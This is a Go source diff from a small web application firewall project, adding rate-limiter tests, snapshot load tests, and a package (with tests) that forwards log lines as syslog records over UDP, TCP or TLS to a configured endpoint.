+func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
+		tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	// Half of 5 requests is 2.5, rounded down to 2: the third is over.
+	for range 2 {
+		_, _, over := limiter.Count(client, start, 50)
+		if over {
+			t.Fatal("a request within half the limit is over it")
+		}
+	}
+
+	_, hit, over := limiter.Count(client, start, 50)
+
+	want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: minute, Limit: 2, Count: 3}
+	if !over || hit != want {
+		t.Errorf("the third request gives %+v and %t, want %+v and true", hit, over, want)
+	}
+
+	// Half of the largest byte limit is still far above a TiB: working it
+	// out does not overflow.
+	_, hit, over = limiter.CountBytes(client, start, 1<<40, 50)
+	if over {
+		t.Errorf("a TiB is over half the largest byte limit: %+v", hit)
+	}
+}
+
+func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
+	t.Parallel()
+
+	// Only the hour has limits: the minute's and the day's are off.
+	limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
+		tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	// At 0 percent, the first request and the first byte are over the
+	// hour's limits, which are 0; the minute's, which are off, stay off.
+	_, hit, _ := limiter.Count(client, start, 0)
+
+	want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: hour, Limit: 0, Count: 1}
+	if hit != want {
+		t.Errorf("the first request gives %+v, want %+v", hit, want)
+	}
+
+	_, hit, _ = limiter.CountBytes(client, start, 1, 0)
+
+	want = ratelimit.Hit{Kind: ratelimit.KindBytes, Window: hour, Limit: 0, Count: 1}
+	if hit != want {
+		t.Errorf("the first byte gives %+v, want %+v", hit, want)
+	}
+}
+
+func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
+	t.Parallel()
+
+	const byteLimit = 1000
+
+	for _, tc := range []struct {
+		window string
+		limits ratelimit.Limits
+	}{
+		{minute, ratelimit.Limits{BytesPerMinute: byteLimit}},
+		{hour, ratelimit.Limits{BytesPerHour: byteLimit}},
+		{"day", ratelimit.Limits{BytesPerDay: byteLimit}},
+	} {
+		t.Run(tc.window, func(t *testing.T) {
+			t.Parallel()
+
+			limiter := ratelimit.New(tc.limits, tableSize)
+			client := netip.MustParsePrefix("203.0.113.9/32")
+
+			// 600 bytes are within the limit, 600 more over it.
+			_, _, over := limiter.CountBytes(client, midnight(), 600, whole)
+			if over {
+				t.Fatal("600 bytes are over the limit of 1000")
+			}
+
+			_, hit, over := limiter.CountBytes(client, midnight(), 600, whole)
+
+			want := ratelimit.Hit{
+				Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200,
+			}
+			if !over || hit != want {
+				t.Errorf("1200 bytes give %+v and %t, want %+v and true", hit, over, want)
+			}
+		})
+	}
+}
+
+func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
+		tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	other := netip.MustParsePrefix("203.0.113.10/32")
+	start := midnight()
+
+	// The third request breaks the rate limit. The bytes of a request
+	// counted after it, within the byte limit, do not break it again.
+	for range 2 {
+		wantCount(t, limiter, client, start, "")
+	}
+
+	wantCount(t, limiter, client, start, minute)
+	wantBytesCount(t, limiter, client, start, 500, "")
+	wantBytesCount(t, limiter, client, start, 600, ratelimit.KindBytes)
+
+	// Bytes over the byte limit do not have the next request break it, nor
+	// the rate limit, which that request is within.
+	wantBytesCount(t, limiter, other, start, 1200, ratelimit.KindBytes)
+	wantCount(t, limiter, other, start, "")
+}
+
+func TestCountGivesTheBytesInEachWindow(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	limiter.CountBytes(client, start, 300, whole)
+
+	// A quarter into the next hour, the minute has only these 100 bytes.
+	// The hour still covers three quarters of the bucket before, whose 300
+	// bytes count 225, and these: 325. The day covers all 400.
+	later := start.Add(time.Hour + time.Hour/4)
+	limiter.CountBytes(client, later, 100, whole)
+
+	// A request's counts give the bytes counted so far too.
+	counts, _, _ := limiter.Count(client, later, whole)
+
+	want := ratelimit.Counts{
+		Minute: 1, Hour: 1, Day: 1, MinuteBytes: 100, HourBytes: 325, DayBytes: 400,
+	}
+	if counts != want {
+		t.Errorf("counts %+v, want %+v", counts, want)
+	}
+}
+
+func TestResetSetsTheBytesBackToZero(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{BytesPerDay: 1000}, tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	wantBytesCount(t, limiter, client, start, 1200, ratelimit.KindBytes)
+	limiter.Reset(client)
+
+	// The client has its whole allowance of bytes again.
+	wantBytesCount(t, limiter, client, start, 1000, "")
+}
+
+func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	for range limit {
+		if _, over := limiter.CountRefusal(client, start, limit); over {
+			t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
+		}
+	}
+
+	hit, over := limiter.CountRefusal(client, start, limit)
+
+	want := ratelimit.Hit{
+		Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
+	}
+	if !over || hit != want {
+		t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
+			want)
+	}
+
+	// Half a minute into the next, half of those four still count, 2, and
+	// this one: 3, within the threshold.
+	hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
+	if over || hit.Count != 3 {
+		t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
+			hit.Count, over)
+	}
+
+	// A ban sets them back to zero.
+	limiter.Reset(client)
+
+	hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
+	if hit.Count != 1 {
+		t.Errorf("after a reset, %v refusals, want 1", hit.Count)
+	}
+}
+
+func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	for range 3 {
+		limiter.Count(client, start, whole)
+	}
+
+	// A quarter into the next hour, the minute has only this request. The
+	// hour still covers three quarters of the bucket before, with its three
+	// requests, which count 2.25, and this one: 3.25. The day covers all
+	// four.
+	counts, _, _ := limiter.Count(client, start.Add(time.Hour+time.Hour/4), whole)
+
+	want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4}
+	if counts != want {
+		t.Errorf("counts %+v, want %+v", counts, want)
+	}
+}
+
+func TestResetSetsTheCountsBackToZero(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}, tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	for range limit {
+		wantCount(t, limiter, client, start, "")
+	}
+
+	wantCount(t, limiter, client, start, minute)
+	limiter.Reset(client)
+
+	// At the same moment, the client has its whole allowance again.
+	for range limit {
+		wantCount(t, limiter, client, start, "")
+	}
+
+	wantCount(t, limiter, client, start, minute)
+}
+
+func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	for range limit {
+		wantCount(t, limiter, client, start, "")
+	}
+
+	wantCount(t, limiter, client, start, hour)
+
+	// No request in the whole next bucket, so a quarter into the one after
+	// it the window covers none of the four requests: 1 is within the
+	// limit. Were they counted as the bucket before, 3 + 1 would be over.
+	wantCount(t, limiter, client, start.Add(2*time.Hour+time.Hour/4), "")
+}
+
+func TestRefusedRequestsCount(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
+		tableSize)
+	refused := netip.MustParsePrefix("203.0.113.9/32")
+	within := netip.MustParsePrefix("203.0.113.10/32")
+	start := midnight()
+
+	for range limit {
+		wantCount(t, limiter, refused, start, "")
+		wantCount(t, limiter, within, start, "")
+	}
+
+	for range limit {
+		wantCount(t, limiter, refused, start, minute)
+	}
+
+	// Half a minute into the next bucket the window covers half of the
+	// bucket before: 3 + 1 is over the minute's limit for the client
+	// whose three refused requests count, and 1.5 + 1 within it for the
+	// other. The first is over the hour's limit too, and the shorter
+	// window is named.
+	halfway := start.Add(time.Minute + time.Minute/2)
+	wantCount(t, limiter, refused, halfway, minute)
+	wantCount(t, limiter, within, halfway, "")
+
+	// The refused requests count in the hour as well: 6 + 1 + 1 is over
+	// its limit, and 3 + 1 + 1 within it.
+	later := start.Add(10 * time.Minute)
+	wantCount(t, limiter, refused, later, hour)
+	wantCount(t, limiter, within, later, "")
+}
+
+func TestRequestCountedLateGoesInTheBucketUnderWay(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}, tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	for range limit {
+		wantCount(t, limiter, client, start, "")
+	}
+
+	// A concurrent request dated a moment before the bucket under way, but
+	// counted after it began, is counted in it: 3 + 1 is over the limit.
+	wantCount(t, limiter, client, start.Add(-time.Millisecond), minute)
+}
+
+func TestClockSetBackStartsTheBucketsAfresh(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	for range limit {
+		wantCount(t, limiter, client, start, "")
+	}
+
+	// Half an hour into the next bucket: 3 / 2 + 1 is within the limit.
+	wantCount(t, limiter, client, start.Add(time.Hour+time.Hour/2), "")
+
+	// The clock is set back an hour. Counted in the bucket under way, the
+	// next request would find the bucket before it at full weight, 3 + 2,
+	// over the limit until the clock caught up. The buckets start afresh
+	// instead, and the client is refused only past the limit again.
+	setBack := start.Add(time.Hour / 2)
+	for range limit {
+		wantCount(t, limiter, client, setBack, "")
+	}
+
+	wantCount(t, limiter, client, setBack, hour)
+}
+
+func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
+	t.Parallel()
+
+	const maxClients = 3
+
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 1}, maxClients)
+	now := midnight()
+
+	clients := make([]netip.Prefix, maxClients+1)
+	addr := netip.MustParseAddr("10.0.0.0")
+
+	for i := range clients {
+		clients[i] = netip.PrefixFrom(addr, addr.BitLen())
+		addr = addr.Next()
+	}
+
+	for _, client := range clients[:maxClients] {
+		wantCount(t, limiter, client, now, "")
+	}
+
+	// The first client is seen again: its second request is over the
+	// limit of one, so it is still counted.
+	wantCount(t, limiter, clients[0], now, minute)
+
+	// One client more drops the least recently seen, the second, which
+	// starts afresh, while the first is kept.
+	wantCount(t, limiter, clients[maxClients], now, "")
+
+	if limiter.Len() != maxClients {
+		t.Errorf("the table holds %d clients, want %d", limiter.Len(), maxClients)
+	}
+
+	wantCount(t, limiter, clients[1], now, "")
+	wantCount(t, limiter, clients[0], now, minute)
+}
+
+// midnight is the start of a bucket in every window.
+func midnight() time.Time {
+	return time.Date(2026, 10, 4, 0, 0, 0, 0, time.UTC)
+}
+
+// wantCount counts a request from client at now, and checks the window
+// whose limit it goes over, "" for none.
+func wantCount(
+	t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
+	want string,
+) {
+	t.Helper()
+
+	_, hit, _ := limiter.Count(client, now, whole)
+	if hit.Window != want {
+		t.Errorf("request from %s at %s is over %q, want %q",
+			client, now.Format(time.RFC3339), hit.Window, want)
+	}
+}
+
+// wantBytesCount counts bytes from client at now, and checks the kind of
+// the limit they break, "" for none.
+func wantBytesCount(
+	t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
+	bytes int64, want string,
+) {
+	t.Helper()
+
+	_, hit, _ := limiter.CountBytes(client, now, bytes, whole)
+	if hit.Kind != want {
+		t.Errorf("%d bytes from %s at %s break a limit on %q, want %q",
+			bytes, client, now.Format(time.RFC3339), hit.Kind, want)
+	}
+}

internal/ratelimit/snapshot_test.go

@@ -0,0 +1,136 @@
+package ratelimit_test
+
+import (
+	"net/netip"
+	"slices"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+)
+
+func TestSnapshotListsTheClientsByAddress(t *testing.T) {
+	t.Parallel()
+
+	want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"}
+
+	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
+	for _, i := range []int{2, 3, 0, 1} {
+		limiter.Count(netip.MustParsePrefix(want[i]), midnight(), whole)
+	}
+
+	snapshot := limiter.Snapshot()
+
+	got := make([]string, 0, len(snapshot))
+	for _, c := range snapshot {
+		got = append(got, c.Client.String())
+	}
+
+	if !slices.Equal(got, want) {
+		t.Errorf("snapshot %v, want %v", got, want)
+	}
+
+	counted := ratelimit.Buckets{Start: midnight(), Current: 1}
+	if snapshot[0].Minute != counted || snapshot[0].Day != counted {
+		t.Errorf("buckets %+v and %+v, want %+v", snapshot[0].Minute, snapshot[0].Day,
+			counted)
+	}
+}
+
+func TestLoadedCountsCarryOn(t *testing.T) {
+	t.Parallel()
+
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	before := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
+	for range limit {
+		wantCount(t, before, client, start, "")
+	}
+
+	// Loaded into a new limiter, as across a restart, the client has no
+	// fresh allowance.
+	later := start.Add(time.Minute)
+	after := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
+	after.Load(before.Snapshot(), later)
+	wantCount(t, after, client, later, hour)
+}
+
+func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
+	t.Parallel()
+
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
+	limiter.Count(client, start, whole)
+	limiter.CountBytes(client, start, 5, whole)
+	limiter.CountRefusal(client, start, limit)
+	limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
+
+	loaded := func(now time.Time) ratelimit.Client {
+		t.Helper()
+
+		after := ratelimit.New(ratelimit.Limits{}, tableSize)
+		after.Load(limiter.Snapshot(), now)
+
+		return after.Snapshot()[0]
+	}
+
+	// Two minutes on, the window that ends then covers none of the
+	// minute's buckets, of requests, of bytes and of refusals, which are
+	// emptied; the hour's and the day's stay, and so does the history.
+	got := loaded(start.Add(2 * time.Minute))
+	if got.Minute != (ratelimit.Buckets{}) || got.Hour.Current != 1 ||
+		got.Day.Current != 1 || got.History.Requests != 1 {
+		t.Errorf("loaded two minutes on as %+v", got)
+	}
+
+	if got.MinuteBytes != (ratelimit.Buckets{}) || got.HourBytes.Current != 5 ||
+		got.DayBytes.Current != 5 {
+		t.Errorf("loaded two minutes on with buckets of bytes %+v, %+v and %+v",
+			got.MinuteBytes, got.HourBytes, got.DayBytes)
+	}
+
+	if got.MinuteRefusals != (ratelimit.Buckets{}) {
+		t.Errorf("loaded two minutes on with buckets of refusals %+v",
+			got.MinuteRefusals)
+	}
+
+	// A moment before, the window still covers some of the earlier one.
+	got = loaded(start.Add(2*time.Minute - time.Nanosecond))
+	if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
+		got.MinuteRefusals.Current != 1 {
+		t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
+			"and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
+	}
+}
+
+func TestLoadDropsTheLeastRecentlySeenFirst(t *testing.T) {
+	t.Parallel()
+
+	const maxClients = 3
+
+	// clients.json lists the clients by address. Here each was last seen
+	// a second before the one listed before it, so the last listed is the
+	// one seen longest ago, and the one dropped.
+	clients := make([]ratelimit.Client, maxClients+1)
+	addr := netip.MustParseAddr("10.0.0.0")
+
+	for i := range clients {
+		clients[i].Client = netip.PrefixFrom(addr, addr.BitLen())
+		clients[i].History.LastSeen = midnight().Add(-time.Duration(i) * time.Second)
+		addr = addr.Next()
+	}
+
+	limiter := ratelimit.New(ratelimit.Limits{}, maxClients)
+	limiter.Load(clients, midnight())
+
+	got := limiter.Snapshot()
+	if len(got) != maxClients || got[0].Client != clients[0].Client ||
+		got[maxClients-1].Client != clients[maxClients-1].Client {
+		t.Errorf("%d clients kept, from %s to %s; want %d, from %s to %s",
+			len(got), got[0].Client, got[len(got)-1].Client, maxClients,
+			clients[0].Client, clients[maxClients-1].Client)
+	}
+}

internal/remotelog/remotelog.go

@@ -0,0 +1,310 @@
+// Package remotelog sends the lines smallwebwaf writes on stdout to the
+// remote log endpoint, SWWAF_LOG_REMOTE_URL, as the "Request log" section
+// of SPEC.md describes: each line as the message of an RFC 5424 syslog
+// record, over UDP, TCP or TLS. Lines wait in a bounded buffer, so a slow
+// or unreachable endpoint never holds up a request or stdout.
+package remotelog
+
+import (
+	"bytes"
+	"context"
+	"crypto/tls"
+	"crypto/x509"
+	"errors"
+	"fmt"
+	"log/slog"
+	"net"
+	"net/url"
+	"os"
+	"strconv"
+	"sync/atomic"
+	"syscall"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// The forms of SWWAF_LOG_REMOTE_URL, by its scheme.
+const (
+	SchemeUDP = "syslog+udp"
+	SchemeTCP = "syslog+tcp"
+	SchemeTLS = "syslog+tls"
+)
+
+// A record's priority is the number of its facility times the number of
+// severities there are, plus the number of its severity. Every record's
+// severity is informational.
+const (
+	severities    = 8
+	informational = 6
+)
+
+const (
+	// dialTimeout bounds connecting to the endpoint, the TLS handshake
+	// included.
+	dialTimeout = 10 * time.Second
+	// After a failed attempt to connect, or a connection on which a record
+	// fails, the next attempt to connect is made a second later, and
+	// retryDelayFactor times as long after each further failure in a row,
+	// up to a minute. A connection that fails after it has stayed up for
+	// resetRetryDelayAfter ends the row.
+	firstRetryDelay      = time.Second
+	retryDelayFactor     = 2
+	maxRetryDelay        = time.Minute
+	resetRetryDelayAfter = time.Minute
+)
+
+// Params are what New needs.
+type Params struct {
+	// URL is the endpoint (SWWAF_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
+	// SchemeTLS, a host and a port.
+	URL *url.URL
+	// RootCAs are the certificates a SchemeTLS endpoint's certificate
+	// must chain to (SWWAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
+	RootCAs *x509.CertPool
+	// Buffer is the most lines held while they wait to be sent
+	// (SWWAF_LOG_REMOTE_BUFFER).
+	Buffer int
+	// Facility is the number of the records' syslog facility
+	// (SWWAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
+	// (SWWAF_LOG_REMOTE_APP_NAME).
+	Facility int
+	AppName  string
+}
+
+// Sender sends lines to the endpoint. Write puts them in its buffer, and
+// Run sends them from there.
+type Sender struct {
+	url       *url.URL
+	tlsConfig *tls.Config
+	// beforeTime and afterTime are the parts of every record's header
+	// before and after its time, as RFC 5424 lays the header out.
+	beforeTime string
+	afterTime  string
+	// records is the buffer: each line's record, framed to be sent.
+	records chan []byte
+	sent    atomic.Int64
+	dropped atomic.Int64
+}
+
+// New returns a Sender for the endpoint params.URL.
+func New(params Params) *Sender {
+	hostname, err := os.Hostname()
+	if err != nil || hostname == "" {
+		hostname = "-" // RFC 5424's value for a field that has none
+	}
+
+	priority := params.Facility*severities + informational
+
+	return &Sender{
+		url: params.URL,
+		tlsConfig: &tls.Config{
+			RootCAs:    params.RootCAs,
+			MinVersion: tls.VersionTLS12,
+		},
+		// The 1 is the version of the format. The process id, the message
+		// id and the structured data have no value.
+		beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
+		afterTime:  " " + hostname + " " + params.AppName + " - - - ",
+		records:    make(chan []byte, params.Buffer),
+	}
+}
+
+// Write puts each line in p in the buffer, as the message of a record of
+// its own, and never waits: when the buffer is full, the oldest record in
+// it is dropped to make room. It is safe for concurrent use.
+func (s *Sender) Write(p []byte) (int, error) {
+	at := requestlog.FormatTime(time.Now())
+
+	for line := range bytes.Lines(p) {
+		line = bytes.TrimSuffix(line, []byte("\n"))
+		if len(line) > 0 {
+			s.put(s.record(at, line))
+		}
+	}
+
+	return len(p), nil
+}
+
+// Sent is how many records have been sent.
+func (s *Sender) Sent() int64 {
+	return s.sent.Load()
+}
+
+// Dropped is how many records were dropped: the oldest in a full buffer,
+// and those whose sending failed.
+func (s *Sender) Dropped() int64 {
+	return s.dropped.Load()
+}
+
+// Depth is how many records are in the buffer.
+func (s *Sender) Depth() int {
+	return len(s.records)
+}
+
+// Run connects to the endpoint and sends each record as it comes into the
+// buffer, until ctx is done. Then it sends the records still in the buffer,
+// on the connection open at that time or, if there is none, on a new one,
+// until none is left or one fails, and returns. How long it may take over
+// that is for the caller to bound.
+//
+// A connection on which a record fails is closed and the record dropped.
+// That failure, like a failed attempt to connect, is logged to processLog
+// and followed by the next attempt after firstRetryDelay, retryDelayFactor
+// times as long after each further failure in a row up to maxRetryDelay,
+// and firstRetryDelay again after a connection that stayed up for
+// resetRetryDelayAfter. Meanwhile the records wait in the buffer.
+func (s *Sender) Run(ctx context.Context, processLog *slog.Logger) {
+	conn := s.send(ctx, processLog)
+	if conn == nil && len(s.records) > 0 {
+		conn, _ = s.dial(context.WithoutCancel(ctx))
+	}
+
+	if conn == nil {
+		return
+	}
+
+	defer func() {
+		_ = conn.Close()
+	}()
+
+	for {
+		select {
+		case record := <-s.records:
+			if s.write(conn, record) != nil {
+				return
+			}
+		default:
+			return
+		}
+	}
+}
+
+// record returns line as an RFC 5424 record made at the time at, framed
+// for the endpoint: on its own over UDP, since each datagram holds one,
+// and over TCP and TLS after its length in bytes and a space, the
+// octet-counted framing of RFC 6587 and RFC 5425.
+func (s *Sender) record(at string, line []byte) []byte {
+	record := make([]byte, 0, len(s.beforeTime)+len(at)+len(s.afterTime)+len(line))
+	record = append(record, s.beforeTime...)
+	record = append(record, at...)
+	record = append(record, s.afterTime...)
+	record = append(record, line...)
+
+	if s.url.Scheme == SchemeUDP {
+		return record
+	}
+
+	return append([]byte(strconv.Itoa(len(record))+" "), record...)
+}
+
+// put adds record to the buffer, first dropping the oldest record in it
+// while it is full.
+func (s *Sender) put(record []byte) {
+	for {
+		select {
+		case s.records <- record:
+			return
+		default:
+		}
+
+		select {
+		case <-s.records:
+			s.dropped.Add(1)
+		default:
+		}
+	}
+}
+
+// send connects to the endpoint and sends each record as it comes into
+// the buffer, until ctx is done, and returns the connection then open, or
+// nil.
+func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn {
+	delay := firstRetryDelay
+
+	for {
+		conn, err := s.dial(ctx)
+		if ctx.Err() != nil {
+			return conn
+		}
+
+		if err == nil {
+			connected := time.Now()
+
+			err = s.sendOn(ctx, conn)
+			if err == nil {
+				return conn
+			}
+
+			_ = conn.Close()
+
+			if time.Since(connected) >= resetRetryDelayAfter {
+				delay = firstRetryDelay
+			}
+		}
+
+		processLog.Warn("sending to SWWAF_LOG_REMOTE_URL failed",
+			"error", err.Error(), "connecting_again_in", delay.String())
+
+		select {
+		case <-time.After(delay):
+		case <-ctx.Done():
+			return nil
+		}
+
+		delay = min(retryDelayFactor*delay, maxRetryDelay)
+	}
+}
+
+// sendOn sends each record on conn as it comes into the buffer, until one
+// fails, whose error it returns, or ctx is done.
+func (s *Sender) sendOn(ctx context.Context, conn net.Conn) error {
+	for {
+		select {
+		case record := <-s.records:
+			err := s.write(conn, record)
+			if err != nil {
+				return err
+			}
+		case <-ctx.Done():
+			return nil
+		}
+	}
+}
+
+// write sends record on conn, and counts it as sent or, if that fails,
+// as dropped. A record too long for one UDP datagram is dropped without
+// an error, since the connection has not failed: a long request must not
+// hold up the lines after it.
+func (s *Sender) write(conn net.Conn, record []byte) error {
+	_, err := conn.Write(record)
+	if err != nil {
+		s.dropped.Add(1)
+
+		if errors.Is(err, syscall.EMSGSIZE) {
+			return nil
+		}
+
+		return fmt.Errorf("send a record: %w", err)
+	}
+
+	s.sent.Add(1)
+
+	return nil
+}
+
+// dial connects to the endpoint.
+func (s *Sender) dial(ctx context.Context) (net.Conn, error) {
+	dialer := &net.Dialer{Timeout: dialTimeout}
+
+	switch s.url.Scheme {
+	case SchemeUDP:
+		return dialer.DialContext(ctx, "udp", s.url.Host)
+	case SchemeTLS:
+		tlsDialer := &tls.Dialer{NetDialer: dialer, Config: s.tlsConfig}
+
+		return tlsDialer.DialContext(ctx, "tcp", s.url.Host)
+	default:
+		return dialer.DialContext(ctx, "tcp", s.url.Host)
+	}
+}

internal/remotelog/remotelog_test.go

@@ -0,0 +1,640 @@
+package remotelog_test
+
+import (
+	"bufio"
+	"bytes"
+	"context"
+	"crypto/ecdsa"
+	"crypto/elliptic"
+	"crypto/rand"
+	"crypto/tls"
+	"crypto/x509"
+	"crypto/x509/pkix"
+	"encoding/json"
+	"fmt"
+	"io"
+	"log/slog"
+	"math/big"
+	"net"
+	"net/url"
+	"os"
+	"slices"
+	"strconv"
+	"strings"
+	"sync"
+	"sync/atomic"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/remotelog"
+)
+
+// The tests run in a synctest bubble, where the time package runs on a
+// clock of the test's own, which starts at 2000-01-01T00:00:00Z: a wait
+// lasts exactly as long as it should, however slowly the test process
+// runs, and synctest.Wait returns once the sender has done all it can
+// before time passes. The endpoint is a listener on the loopback address.
+// A test reads from it only once the records are on their way, and checks
+// the sender's counts first, since a goroutine of the bubble that waits on
+// the network keeps that clock from moving on. For the same reason the
+// endpoint that refuses connections, a tlsEndpoint, runs outside the
+// bubble: a sender connecting over TLS waits on the endpoint's answer.
+
+const (
+	// started is the time a record made as a test starts gives.
+	started = "2000-01-01T00:00:00.000Z"
+	appName = "fsn1app1/gitea"
+	// local0 is the number of the default facility, and local0Info the
+	// priority of its records.
+	local0     = 16
+	local0Info = "<134>"
+	// loopback is where the endpoints listen.
+	loopback = "127.0.0.1:0"
+)
+
+func TestRecordsOverUDPGoOnePerDatagram(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
+		if err != nil {
+			t.Fatalf("listen: %v", err)
+		}
+
+		t.Cleanup(func() { _ = endpoint.Close() })
+
+		sender, _, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
+
+		_, _ = sender.Write([]byte(`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n"))
+
+		synctest.Wait()
+		wantCounts(t, sender, 2, 0, 0)
+
+		for _, line := range []string{`{"type":"request"}`, `{"type":"process"}`} {
+			datagram := make([]byte, 1024)
+
+			n, _, err := endpoint.ReadFrom(datagram)
+			if err != nil {
+				t.Fatalf("read: %v", err)
+			}
+
+			want := record(t, local0Info, appName, line)
+			if string(datagram[:n]) != want {
+				t.Errorf("datagram %q, want %q", datagram[:n], want)
+			}
+		}
+	})
+}
+
+func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		endpoint := listen(t)
+		endpointParams := params(remotelog.SchemeTCP, endpoint.Addr())
+		endpointParams.Facility = 19 // local3
+		endpointParams.AppName = "gitea"
+		sender, _, _ := run(t, endpointParams)
+
+		_, _ = sender.Write([]byte("first\nsecond\n"))
+
+		synctest.Wait()
+		wantCounts(t, sender, 2, 0, 0)
+
+		frames := bufio.NewReader(accept(t, endpoint))
+		wantFrame(t, frames, record(t, "<158>", "gitea", "first"))
+		wantFrame(t, frames, record(t, "<158>", "gitea", "second"))
+	})
+}
+
+func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		certificate, roots := testCertificate(t)
+		endpoint := listen(t)
+		endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
+		endpointParams.RootCAs = roots
+		endpointParams.Buffer = 3
+		sender, _, _ := run(t, endpointParams)
+
+		// The sender connects, and its TLS handshake waits for an answer
+		// the endpoint does not give yet.
+		conn := accept(t, endpoint)
+
+		var stdout bytes.Buffer
+
+		out := io.MultiWriter(&stdout, sender)
+		for i := range 5 {
+			_, _ = fmt.Fprintf(out, "line %d\n", i+1)
+		}
+
+		if stdout.String() != "line 1\nline 2\nline 3\nline 4\nline 5\n" {
+			t.Errorf("stdout has %q", stdout.String())
+		}
+
+		wantCounts(t, sender, 0, 2, 3)
+
+		// Once the endpoint answers, the three newest records are sent.
+		server := tls.Server(conn, &tls.Config{
+			Certificates: []tls.Certificate{certificate},
+			MinVersion:   tls.VersionTLS12,
+		})
+
+		err := server.HandshakeContext(t.Context())
+		if err != nil {
+			t.Fatalf("handshake: %v", err)
+		}
+
+		synctest.Wait()
+		wantCounts(t, sender, 3, 2, 0)
+
+		frames := bufio.NewReader(server)
+		for _, line := range []string{"line 3", "line 4", "line 5"} {
+			wantFrame(t, frames, record(t, local0Info, appName, line))
+		}
+	})
+}
+
